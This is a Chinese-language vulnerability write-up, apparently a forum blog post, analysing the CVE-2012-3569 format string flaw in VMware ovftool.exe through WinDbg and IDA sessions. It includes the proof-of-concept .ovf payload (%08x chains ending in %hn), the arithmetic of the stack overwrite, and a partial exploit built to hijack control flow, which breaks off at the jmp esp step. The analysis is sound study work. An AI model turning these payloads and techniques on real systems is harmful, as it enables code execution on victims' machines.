<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    再探格式化字符串漏洞:CVE-2012-3569 ovftool.exe

    VSole2021-10-21 17:21:47

    這次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序詳細分析過應該怎樣利用格式化字符串漏洞(參考資料2),而針對該漏洞,《漏洞戰爭》中并沒有進行詳細分析,因此我幾乎是從頭到尾按照自己的思路獨立完成了這個漏洞的分析以及利用,其中漏洞利用部分又占據了比較大的篇幅,因此對于格式化字符串漏洞在實際中的利用方式有了更深刻的了解。

    漏洞調試

    2.1 環境

    WinXP sp3 簡體中文版

    VMware OVF Tool 2.1.0-467744 安裝包書籍配套資料中有提供

    2.2 確定漏洞發生位置

    2.2.1 根據錯誤信息進行初步嘗試

    使用ovftool.exe打開poc.ovf文件,得到輸出的報錯信息:

    Error: - Line 14: Invalid value 'AAAAAAAAAAAAAAAAAAAAAAAAAA02f75be0ffffffff0000000022ce96420160c7800000000002f75be002cfa9b80012fb3c784b631b000001fd000001ff22ce96420012fb60006752f9000000000012fb6c004b4c4402d02e20000001fd000000000160c78000000000004b4e9722ce9602000000000160c7d8000000000012fb4c0012fc1000691f10000000000012fb807848ac3602f691a0006c1b987848bab70012fb8c7848e50c0160c7d80012fc1c0047ea377848baa022ce917202f6199402f6198002f691a00012fbf47c90e9007c910040ffffffff7c91003d78583c1b01e500000000000078583c3a0c64477f02f73d000012fc3c02d371c00012fc3c02f691a00012fbfc000001f9000001ff000000000012fc687858cf5e742c6edbfffffffe78583c3a0012fc1802f6c3d00012fc6800687212000000010012fc740045637e0000000002f6a9f822ce911a02f68fd802d1c0a802f619800012ff2402f73d00000000000000000f15411655000000000000000f02f691a002f69f5002f6a1f002f69f500012ff440068059200000004' for attribute 'capacityAllocationUnits' on element 'Disk'.
    

    在錯誤窗口選擇調試選項,Windbg的輸出:

    (2d0.4d4): Access violation - code c0000005 (!!! second chance !!!)eax=00000001 ebx=00000000 ecx=22dc6d6e edx=1290002f esi=00000001 edi=016138e0eip=00000000 esp=0012034d ebp=00000000 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0000021600000000 ??              ???0:000> dd esp0012034d  00000000 00000000 00000000 000000000012035d  00000000 00000000 00000000 000000000012036d  00000000 00000000 00000000 000000000012037d  00000000 00000000 00000000 000000000012038d  00000000 00000000 00000000 000000000012039d  00000000 00000000 00000000 00000000001203ad  00000000 00000000 00000000 00000000001203bd  00000000 00000000 00000000 00000000
    

    可以看到eip的值為0,同時棧中的數據已經清零。

    由于漏洞發生在棧上,因此使用頁堆功能無法定位異常發生位置,可以根據上面命令行中輸出的錯誤信息進行定位。

    使用IDA打開ovftool.exe,搜索字符串“invalid value”,得到:

    根據錯誤信息的格式,可以確定是第二個結果。找到該字符串的引用位置之后,發現這里調用了std::string的構造函數,所以這里引用該字符串只是為了構造一個string對象,用于之后使用。

    std::string::string(v110, "ovftool.xml.invalid");v123 = 152;*(_DWORD *)sub_4BC710(v110) = "Invalid value '%1' for attribute '%2' (%3:%4)";v123 = -1;std::string::~string(v110);
    

    將該函數重命名為make_error_string,然后在windbg中,重新調試,并在字符串的引用位置設置斷點。

    使用Open Executable打開ovftool.exe,并設置相關參數,中斷后在4B0434的位置設置斷點,然后繼續執行,在這里設置一個快照:

    (e48.ab0): Break instruction exception - code 80000003 (first chance)eax=00251eb4 ebx=7ffd4000 ecx=00000006 edx=00000040 esi=00251f48 edi=00251eb4eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ntdll!DbgBreakPoint:7c90120e cc              int     30:000> bp 4B04340:000> gBreakpoint 1 hiteax=02dfce90 ebx=00000000 ecx=f040def9 edx=01e50608 esi=ffffffff edi=02df8070eip=004b0434 esp=0012eef4 ebp=0012fc7c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ovftool+0xb0434:004b0434 c70078296c00    mov     dword ptr [eax],offset ovftool+0x2c2978 (006c2978) ds:0023:02dfce90=00000000
    

    單步之后,eax的位置存儲了字符串地址:

    0:000> peax=02dfce90 ebx=00000000 ecx=f040def9 edx=01e50608 esi=ffffffff edi=02df8070eip=004b043a esp=0012eef4 ebp=0012fc7c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ovftool+0xb043a:004b043a 8975fc          mov     dword ptr [ebp-4],esi ss:0023:0012fc78=000000980:000> dd eax l102dfce90  006c2978
    

    因為已經確定這是一個格式化字符串的漏洞,再加上輸出的錯誤信息,猜測可能就是在輸出這個錯誤信息的時候,對棧進行了破壞,所以要嘗試定位輸出函數的位置。

    2.2.2 確定輸出函數的位置

    嘗試1

    最初我嘗試在02dfce90和006c2978設置內存訪問斷點,但是失敗了,設置好斷點之后繼續執行,程序直接到達了eip為0的位置。

    嘗試2

    我看了一下書中的方法,內容并不多,只是說使用單步跟蹤找到了具體位置,但是具體應該根據什么細節確定當前位置為目標位置,書中并沒有明確介紹。所以接下來我就自己發揮想象力了。

    我想用Shift+F11的方式,逐步跳出當前函數,確定異常是在哪個函數里面發生的。結果跳出兩次之后,程序直接到達了wmain函數。

    如果在IDA中查看,此時已經到達了這里:

    ....text:004186EF E8 8C EB FF FF                call    sub_417280.text:004186F4 83 C4 1C                      add     esp, 1Ch.text:004186F7 5E                            pop     esi.text:004186F8 8B E5                         mov     esp, ebp.text:004186FA 5D                            pop     ebp.text:004186FB C3                            retn.text:004186FB                               _wmain endp
    

    這個時候開始單步:

    0:000> bp /1 /c @$csp @$ra;gModLoad: 68000000 68036000   C:\WINDOWS\system32\rsaenh.dllBreakpoint 2 hiteax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000002 edi=016138e0eip=004186f4 esp=0012ff58 ebp=00120345 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ovftool+0x186f4:004186f4 83c41c          add     esp,1Ch0:000> peax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000002 edi=016138e0eip=004186f7 esp=0012ff74 ebp=00120345 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ovftool+0x186f7:004186f7 5e              pop     esi0:000> peax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000001 edi=016138e0eip=004186f8 esp=0012ff78 ebp=00120345 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ovftool+0x186f8:004186f8 8be5            mov     esp,ebp
    

    到這一步的時候,ebp的值為00120345,而esp的值為0012ff78,按道理來說ebp的值應該比esp的值大,這里顯然不正常,而且ebp的數據為:

    0:000> dd 00120345  l400120345  00000000 00000000 00000000 00000000
    

    也就是說問題出現在sub_417280函數里,但是這個結論顯然沒什么用,因為大部分功能都在這個函數里,說了和沒說一樣。

    但是換個角度來想,此時我們已經發現了ebp的值是不對的,那么這個ebp的值是哪來的呢?是在sub_417280函數里,進行pop ebp操作的時候修改的。也就是說,sub_417280函數里的某個操作對棧中的數據進行了修改,并覆蓋了原本應該彈出到ebp中的數值,而且這個數值保存的位置就在sub_417280函數棧幀的ebp位置(因為執行的是mov esp, ebp; pop ebp的操作)。

    所以接下來回到之前的快照,跳出一次,到達sub_417280函數中,然后在ebp的位置設置一個內存訪問斷點,檢查程序是在哪個位置對這里的數值進行了修改。

    跳出一次后,ebp中的數據:

    0:000> bp /1 /c @$csp @$ra;gBreakpoint 2 hiteax=00000000 ebx=00000000 ecx=f040cc6d edx=01e50608 esi=00000002 edi=02df8070eip=004172c6 esp=0012fc84 ebp=0012ff50 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ovftool+0x172c6:004172c6 e875e00900      call    ovftool+0xb5340 (004b5340)0:000> dd ebp l10012ff50  0012ff7c
    

    注意到此時ebp中的數值還是正常的,我們在0x12ff50這里設置一個內存訪問斷點。

    0:000> ba r4 12ff500:000> gModLoad: 68000000 68036000   C:\WINDOWS\system32\rsaenh.dllBreakpoint 2 hiteax=0012ff50 ebx=0000006e ecx=ffff0345 edx=030fb448 esi=0012f928 edi=00000064eip=0057eaf8 esp=0012f8d0 ebp=0012fa78 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ovftool+0x17eaf8:0057eaf8 e963f4ffff      jmp     ovftool+0x17df60 (0057df60)0:000> ubovftool+0x17eadd:0057eadd 8b8570ffffff    mov     eax,dword ptr [ebp-90h]0057eae3 85c0            test    eax,eax0057eae5 7416            je      ovftool+0x17eafd (0057eafd)0057eae7 8b04f8          mov     eax,dword ptr [eax+edi*8]0057eaea 668b8d4cffffff  mov     cx,word ptr [ebp-0B4h]0057eaf1 47              inc     edi0057eaf2 897d8c          mov     dword ptr [ebp-74h],edi0057eaf5 668908          mov     word ptr [eax],cx
    

    上一步指令為mov word ptr [eax],cx,正是這句指令修改了ebp位置的值。

    由于此時棧幀被修改,查看函數調用的結果可能是不正常的,所以還是回到之前的快照,在上一步指令的位置設置一個斷點,然后查看函數調用情況:

    0:000> bp 0057eaf50:000> gModLoad: 68000000 68036000   C:\WINDOWS\system32\rsaenh.dllBreakpoint 2 hiteax=0012ff50 ebx=0000006e ecx=ffff0345 edx=030fb448 esi=0012f928 edi=00000064eip=0057eaf5 esp=0012f8d0 ebp=0012fa78 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ovftool+0x17eaf5:0057eaf5 668908          mov     word ptr [eax],cx        ds:0023:0012ff50=ff7c*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.7523_x-ww_62205c0c\MSVCP90.dll -0:000> kbChildEBP RetAddr  Args to Child             WARNING: Stack unwind information not available. Following frames may be wrong.0012fa78 0058044a 0012fac0 785bc24c 030fb200 ovftool+0x17eaf50012faa8 0057cb9e 0012fac0 00000000 030fb288 ovftool+0x18044a0012fac4 0056b674 00000000 030fb288 0012faec ovftool+0x17cb9e0012fae0 004b375f 030fb288 031012e8 ffffffff ovftool+0x16b6740012fb2c 004b4c44 02df81b0 000001fd 00000000 ovftool+0xb375f0012fb6c 7848ac36 030f9128 006c1b98 7848bab7 ovftool+0xb4c440012fb80 7848e50c 0160c7d8 0012fc1c 0047ea37 MSVCP90!std::basic_ostream >::flush+0x1f0012fb8c 0047ea37 7848baa0 f040cc0d 030f8f2c MSVCP90!std::basic_istream >::operator>>+0x90012fc1c 0045637e 00000000 030fa168 f040cc65 ovftool+0x7ea370012fc74 004184f4 000f9128 030cbd10 f040cf41 ovftool+0x5637e0012ff50 004186f4 00000002 02df8070 00000002 ovftool+0x184f4  // 注意這個返回地址,已經在wmain了0012ff7c 005e82ff 00000002 02dec270 02ded220 ovftool+0x186f40012ffc0 7c817067 7c911440 00f3f55c 7ffd4000 ovftool+0x1e82ff0012fff0 00000000 005e8447 00000000 78746341 kernel32!BaseProcessStart+0x23
    

    在函數調用情況的倒數第四個位置,看到了位于wmain中的返回地址,所以上一項就應該位于sub_417280函數中,繼續向上看,在返回地址為0047ea37的這一項,程序調用了標準庫函數,這里應該就是在執行輸出操作,所以我們直接在IDA中定位地址0047ea37。

    然后查看一下這個函數的偽代碼:

    ...  if ( result > 0 )    {      do      {        v35 = (_DWORD *)v29[5];        v19 = (int (__thiscall **)(_DWORD *, char *, int))(*v35 + 16);        v20 = (*(int (__thiscall **)(int, int))(*(_DWORD *)a3 + 44))(a3, v18);        v21 = (*v19)(v35, v27, v20);        v30 = 1;        v25 = v21;        v22 = sub_401A90(&dword_160C7D8, " - ");        v23 = std::operator<<<char>(v22, v25);        std::ostream::operator<<(v23, std::endl);  // 注意這里在進行輸出        v30 = -1;    // 地址0047ea37在這里        std::string::~string(v27);        ++v18;        result = (*(int (__thiscall **)(int))(*(_DWORD *)a3 + 36))(a3);      }      while ( v18 < result );    }...
    

    所以ebp處的數值被修改,就發生在字符串輸出的過程中。

    漏洞利用

    關于格式化字符串漏洞如何利用,之前寫過一篇文章:[原創]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析(https://bbs.pediy.com/thread-268750.htm)

    3.1 確定異常數據的影響

    先看一下poc.ovf文件的內容:

    "1.0" encoding="UTF-8"?>"build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"xmlns:vmw="http://www.vmware.com/schema/ovf"xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">      "Small VM-disk1.vmdk" ovf:id="file1" ovf:size="2982" />  </References>      Virtual disk informationInfo>    "8" ovf:capacityAllocationUnits="AAAAAAAAAAAAAAAAAAAAAAAAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%hn" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />  </DiskSection>      A virtual machineInfo>  </VirtualSystem>Envelope>
    

    根據錯誤信息,程序就是在處理ovf:capacityAllocationUnits這個屬性值的時候出現了問題,在嘗試對屬性值輸出的時候,出現了格式化字符串漏洞。

    因為在嘗試對屬性值輸出的時候,屬性值被當成了格式化字符串,所以輸出的時候,由于%08x的影響,程序直接將棧中的數據dump了出來。

    但是現在的問題在于,程序dump的是哪一塊數據,或者說程序中具體是哪個函數在做真正的格式化輸出。

    3.1.1 確定格式化輸出函數

    在之前對格式化漏洞進行分析的文章中,實驗程序使用C語言寫的,要打印的字符串直接壓入棧中,可以很清晰的看到棧中數據的結構,但是這次的程序是C++的,調用了operator<<來對字符串進行輸出,傳入的是this指針。所以乍一看很難確定格式化字符串輸出的是棧中的哪塊數據。

    我嘗試對輸出的數據進行搜索,但是并沒有搜索到,可能在調用operator<<返回的過程中棧中數據又有了修改。

    所以需要進一步深入分析,確定字符串打印的時候,棧中數據的情況。

    上面劃掉的是我一開始嘗試時采用的方法,后來發現不用那么麻煩。直接根據上面得到的函數調用流程在IDA中查看各函數的代碼,在檢查到:

    0012fae0 004b375f 030fb288 031012e8 ffffffff ovftool+0x16b674
    

    這一行的時候,根據地址004b375f定位到函數sub_4B3700,該函數偽代碼:

    void __stdcall sub_4B3700(int a1, int a2) {  std::string::string(v6, a1, a2);  v8 = 0;  v2 = (void **)Buf[0];  if ( Buf[5] < (void *)0x10 )    v2 = Buf;  v3 = sub_581460(v2, 0xFFFFFFFF, 0);  sub_56B660(v3, v5);  v4 = _iob_func();  fflush(v4 + 1);  sub_5B0BD0(v3);  v8 = -1;  std::string::~string(v6);}
    

    同時確定下一個調用的函數是sub_56B660,再看一下這個函數的偽代碼:

    int my_printf(int a1, ...){  char *v1; // esi  FILE *v2; // eax  int v3; // edi  va_list va; // [esp+14h] [ebp+Ch] BYREF   va_start(va, a1);  v1 = (char *)sub_57CB80(0, a1, va);  v2 = _iob_func();  v3 = sub_56B5F0(v2 + 1, v1);  free(v1);  return v3;}
    

    注意到這個函數的參數了嗎?還有其中的變量va_list va,然后它又進一步調用了v1 = (char *)sub_57CB80(0, a1, va);,這不就是printf的格式嗎?不妨就將sub_56B660命名為my_printf。

    接下來可以到windbg中驗證一下了,在004b375a設置一個斷點(調用my_printf的位置),執行到這里的時候,棧中的情況:

    0:000> geax=030fb288 ebx=02df81b0 ecx=030fb288 edx=01e50608 esi=030fb288 edi=000001fdeip=004b375a esp=0012fae8 ebp=0012fb2c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ovftool+0xb375a:004b375a e8017f0b00      call    ovftool+0x16b660 (0056b660)0:000> dd esp l640012fae8  030fb288 031012e8 ffffffff 00000000   // 從第二個數據開始就和最終打印出來的字符是一樣的了0012faf8  f040cb3d 0160c780 00000000 031012e80012fb08  02df5050 0012fb3c 784b631b 000001fd0012fb18  000001ff f040cb3d 0012fb60 006752f90012fb28  00000000 0012fb6c 004b4c44 02df81b00012fb38  000001fd 00000000 0160c780 000000000012fb48  004b4e97 f040cb7d 00000000 0160c7d80012fb58  00000000 0012fb4c 0012fc10 00691f100012fb68  00000000 0012fb80 7848ac36 030f91280012fb78  006c1b98 7848bab7 0012fb8c 7848e50c0012fb88  0160c7d8 0012fc1c 0047ea37 7848baa00012fb98  f040cc0d 030f8f2c 030f8f18 030f91280012fba8  0012fbf4 7c90e900 7c910040 ffffffff0012fbb8  7c91003d 78583c1b 01e50000 000000000012fbc8  78583c3a dbb8e81d 030fb288 0012fc3c0012fbd8  031010d0 0012fc3c 030f9128 0012fbfc0012fbe8  000001f9 000001ff 00000000 0012fc680012fbf8  7858cf5e a3f0c1b9 fffffffe 78583c3a0012fc08  0012fc18 030fa0d8 0012fc68 006872120012fc18  00000001 0012fc74 0045637e 000000000012fc28  030fa168 f040cc65 030fa090 02e0fad00012fc38  030f8f18 0012ff24 030fb200 000000000012fc48  0000000f e0180cc4 00000000 0000000f0012fc58  030f9128 030fba10 030fb9c8 030fba100012fc68  0012ff44 00680592 00000004 0012ff50  // 到0x00000004這里為止都是打印的字符// 注意最后的0012ff50,就是要寫入的位置。
    

    這里我貼出了很多棧中的數據,是為了方便和下面打印出來的數據做比較。

    其中棧頂是第一個參數,查看一下其中的數據:

    0:000> db 030fb288030fb288  20 2d 20 4c 69 6e 65 20-31 34 3a 20 49 6e 76 61   - Line 14: Inva030fb298  6c 69 64 20 76 61 6c 75-65 20 27 41 41 41 41 41  lid value 'AAAAA030fb2a8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA030fb2b8  41 41 41 41 41 25 30 38-78 25 30 38 78 25 30 38  AAAAA%08x%08x%08030fb2c8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08030fb2d8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08030fb2e8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08030fb2f8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08
    

    就是要打印的內容。終于看見了勝利的曙光,先在這里建立一個快照。然后直接步過看一下打印的結果(因為多次調試,此時的結果和本文開始貼出的結果不一致)。

    Error: - Line 14: Invalid value 'AAAAAAAAAAAAAAAAAAAAAAAAAA031012e8ffffffff00000000f040cb3d0160c78000000000031012e802df50500012fb3c784b631b000001fd000001fff040cb3d0012fb60006752f9000000000012fb6c004b4c4402df81b0000001fd000000000160c78000000000004b4e97f040cb7d000000000160c7d8000000000012fb4c0012fc1000691f10000000000012fb807848ac36030f9128006c1b987848bab70012fb8c7848e50c0160c7d80012fc1c0047ea377848baa0f040cc0d030f8f2c030f8f18030f91280012fbf47c90e9007c910040ffffffff7c91003d78583c1b01e500000000000078583c3adbb8e81d030fb2880012fc3c031010d00012fc3c030f91280012fbfc000001f9000001ff000000000012fc687858cf5ea3f0c1b9fffffffe78583c3a0012fc18030fa0d80012fc6800687212000000010012fc740045637e00000000030fa168f040cc65030fa09002e0fad0030f8f180012ff24030fb200000000000000000fe0180cc4000000000000000f030f9128030fba10030fb9c8030fba100012ff440068059200000004' for attribute 'capacityAllocationUnits' on element 'Disk'.
    

    對上面打印出來的數據進行一下整理,可以發現在連續的A字符之后,以四字節為單位對數據進行分割,最后得到的內容和上方得到的棧中數據是一致的。

    再回過頭來看一下Poc文件中提供的格式化字符串,其實包含了26個A字符,98個%08x字符串,因此程序在這里會打印出98個四字節數據,而第99個四字節數據就是棧中的0012ff50,也就是2.2.2小節調試時得到的ebp的位置。

    在2.2.2小節中,根據調試結果,我們已經得到了程序寫入的數值(已打印字符數)為0x345,那么這個數值是怎么來的呢?

    在連續的A字符之前,還包含字符串 - Line 14: Invalid value ',注意前面的空格,這部分內容就有27個字節,所以到%hn為止,已打印的字符數應該是27 + 26 + 98 * 8 = 837,換算成十六進制,就是0x345。

    3.1.2 小總結

    所以到目前為止,我們已知在ovf文件中,如果ovf:capacityAllocationUnits屬性值內容出錯,會直接被函數sub_56B660即my_printf函數打印出來。因此將該屬性值內容構造成格式化字符串的形式,就會觸發格式化字符串漏洞。

    經過上一小節的調試和分析,我們確定了發生格式化字符串的打印操作時,輸出的數據位于棧中的哪個位置;經過之前文章中對于格式化字符串漏洞的利用分析,也知道該如何利用格式化字符串漏洞。

    所以接下來需要針對此次漏洞,詳細分析棧中數據內容,確定該如何利用這個漏洞。

    3.2 漏洞利用

    3.2.1 對capacityAllocationUnits屬性值的要求

    在poc.ovf這個文件中,ovf:capacityAllocationUnits屬性值的設置導致最后程序執行到了0x000000,因為它構造的格式化字符串導致在字符串輸出之后,修改了ebp位置的值,這樣在函數退出時執行:

    mov esp, ebp   // 修改的ebp值成為新的棧頂pop ebp        //retn           // 新的棧頂偏移四個字節的位置成為新的返回地址
    

    而如果想要完成漏洞利用,我首先想到的是直接修改到返回地址。

    可以看一下被打印出來的棧中的數據,返回地址在棧中,所以它一定是0x0012f???的格式:

    在poc.ovf中,選擇寫入的是最后一個0x0012ff50這個地址,而返回地址位于0x0012ff54這個位置,如果你和函數調用流程中一些列的ChildEBP值作比較,會發現棧中數據會命中多個ChildEBP,但是沒有命中ChildEBP+4的。

    所以目前看來,如果想要漏洞利用,還是要使用和poc.ovf中一樣的方式,覆蓋ebp的位置。而且既然之前已經對poc.ovf中的屬性值進行了簡單分析,有了一定了解,那么最好就保留原始格式不變,仍舊覆蓋0x0012ff50這一位置,即屬性值中%x的個數保持不變。

    因此現在唯一能做的就是修改前面連續的字符A的部分(或者是%08x中的數值),可以調整字符的個數,從而改變寫入0x0012ff50的數值大小。

    3.2.2 確定合適的覆蓋數值

    需要注意到,對于0x0012ff50的修改,只會修改其低位的兩個字節,0x0012ff50處原本保存的就是棧幀基址,所以高位字節0x0012這個數值是不變的。

    我希望在修改之后,新的數值0x0012????作為新的棧幀基址(之后變成棧頂),其偏移四字節的位置可以作為返回地址,改變程序的執行流程。

    現在能想到的就是找到屬性值在棧中的位置,將0x0012ff50覆蓋為屬性值在棧中占用的空間地址,這樣我們就可以控制偏移四字節位置的數值了。

    可以在0x00120000~0x0012ffff這一范圍內搜索一下:

    0:000> s 120000 lffff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 410012d4f3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA0:000> db 12d4f30012d4f3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA0012d503  41 41 41 41 41 41 41 41-41 41 25 30 38 78 25 30  AAAAAAAAAA%08x%00012d513  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%00012d523  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%00012d533  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%00012d543  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%00012d553  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%00012d563  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%0
    

    可以看到棧中確實存在屬性值中的內容,如果檢查前面的數據,可以看到這一部分空間保存的就是ovf文件的內容。

    但是問題在于,怎么保證這個地址是不變的,畢竟這是棧中的一片空間,如果字符串長度發生變化,它的偏移地址有極大可能會發生變化。

    然后我想到了之前Exploit編寫系列教程學習筆記中學習到的方法,使用pattern_create.rb及pattern_offset.rb生成capacityAllocationUnits屬性值內容,確定在屬性值足夠大的時候,是否能找到一個相對固定的偏移地址,就像是堆噴射中的0xC0C0C0C0那樣。

    注:我這里的想法是錯的,關鍵不是在于找到一個固定的偏移地址,而是找到一個漏洞能夠覆蓋到的地址,后面的實驗發現漏洞無法覆蓋全部的0x120000~0x12ffff范圍。

    PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_create.rb -l 10000 > content.txt
    

    一開始生成一個長度為10000的測試字符串,并用它替換原屬性值中連續的A字符串,重新進行調試,在004b375a設置斷點(調用my_printf函數的位置)。

    結果我發現在調試的時候,程序并不是一次性打印出所有的內容,而是每次最多打印4096個字符:

    也就是說,在打印最后包含%08x在內的格式化字符串時,所謂的“已打印字符數”的最大值就是0x1000,所以最后寫入0x0012ff50的時候,可以寫入的數值范圍為0x00120188 ~ 0x00121000(最小范圍是因為要保證有足夠的%x)。

    因此我們要保證屬性值的內容最終能夠保存在0x00120188 ~ 0x00121000這個范圍內。

    這么一看,我們上面得到的地址0012d4f3也沒辦法使用。

    這次再搜索一下屬性值中的內容所在的位置:

    0:000> s 120000 lffff 41 61 30 410:000> s 115000 lffff 41 61 30 4100116b47  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
    

    這次的位置在00116b47,小于最小范圍,并且由于長度不夠長,沒有覆蓋到期望范圍。

    那么要如何確定一個合適的長度呢?首先看一下棧空間的范圍:

    0:000> !address 121000    00030000 : 00115000 - 0001b000                    Type     00020000 MEM_PRIVATE                    Protect  00000004 PAGE_READWRITE                    State    00001000 MEM_COMMIT                    Usage    RegionUsageStack                    Pid.Tid  e48.ab0
    

    可以看到棧空間范圍是0x00115000~0x00130000,肯定不能讓屬性值的長度把空間完全占掉,但是我們可以考慮一個比較大的值的情況,0x00121000-0x00115000=C000。但是這里并不是要讓屬性值的長度等于C000,因為每次程序會打印0x1000個字符,所以這里考慮保證最后的總打印字符數是C000。

    在打印屬性值之前,首先會打印長度為27字節的 - Line 14: Invalid value ',然后會打印非格式化字符串,即使用pattern_create.rb生成的字符串,然后會打印8*98個字節的格式化字符串部分,因此如果想要讓總體長度為C000,需要生成的字符串長度為C000-1B-310=BCD5。

    用新的測試文件開始調試,并在0057eaf5(設置0x0012ff50)的位置設置一個斷點:

    (b60.e0c): Break instruction exception - code 80000003 (first chance)eax=00251eb4 ebx=7ffd7000 ecx=00000006 edx=00000040 esi=00251f48 edi=00251eb4eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ntdll!DbgBreakPoint:7c90120e cc              int     30:000> bp 0057eaf50:000> gBreakpoint 0 hiteax=0012ff50 ebx=0000006e ecx=ffff1000 edx=03107d43 esi=0012f928 edi=00000064eip=0057eaf5 esp=0012f8d0 ebp=0012fa78 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ovftool+0x17eaf5:0057eaf5 668908          mov     word ptr [eax],cx        ds:0023:0012ff50=ff7c
    

    可以看到正在向0x0012ff50的低位寫入0x1000,看一下0x121000這里的數據:

    0:000> db 12100000121000  62 36 43 62 37 43 62 38-43 62 39 43 63 30 43 63  b6Cb7Cb8Cb9Cc0Cc00121010  31 43 63 32 43 63 33 43-63 34 43 63 35 43 63 36  1Cc2Cc3Cc4Cc5Cc600121020  43 63 37 43 63 38 43 63-39 43 64 30 43 64 31 43  Cc7Cc8Cc9Cd0Cd1C00121030  64 32 43 64 33 43 64 34-43 64 35 43 64 36 43 64  d2Cd3Cd4Cd5Cd6Cd00121040  37 43 64 38 43 64 39 43-65 30 43 65 31 43 65 32  7Cd8Cd9Ce0Ce1Ce200121050  43 65 33 43 65 34 43 65-35 43 65 36 43 65 37 43  Ce3Ce4Ce5Ce6Ce7C00121060  65 38 43 65 39 43 66 30-43 66 31 43 66 32 43 66  e8Ce9Cf0Cf1Cf2Cf00121070  33 43 66 34 43 66 35 43-66 36 43 66 37 43 66 38  3Cf4Cf5Cf6Cf7Cf8
    

    確實是屬性值中的內容。

    如果屬性值的長度不變,這個偏移值應該是穩定的。所以目前為止我們已經確定了屬性值的長度以及“已打印字符數”的數值。

    3.2.3 控制程序執行流程

    接下來我們要保證0x00121000偏移四字節的位置,即原本的7Cb8,是正確的返回地址,比如說經典的jump esp指令的地址。

    ①確定jump esp指令位置

    注:這里要保證得到的地址在[30~7F]的范圍內(這個范圍可能不準,需要進一步測試),否則ovftool.exe可能會出錯。

    使用Exploit編寫系列教程學習筆記(https://bbs.pediy.com/thread-268883.htm)提到的findjmp.exe程序找到jump esp指令地址:

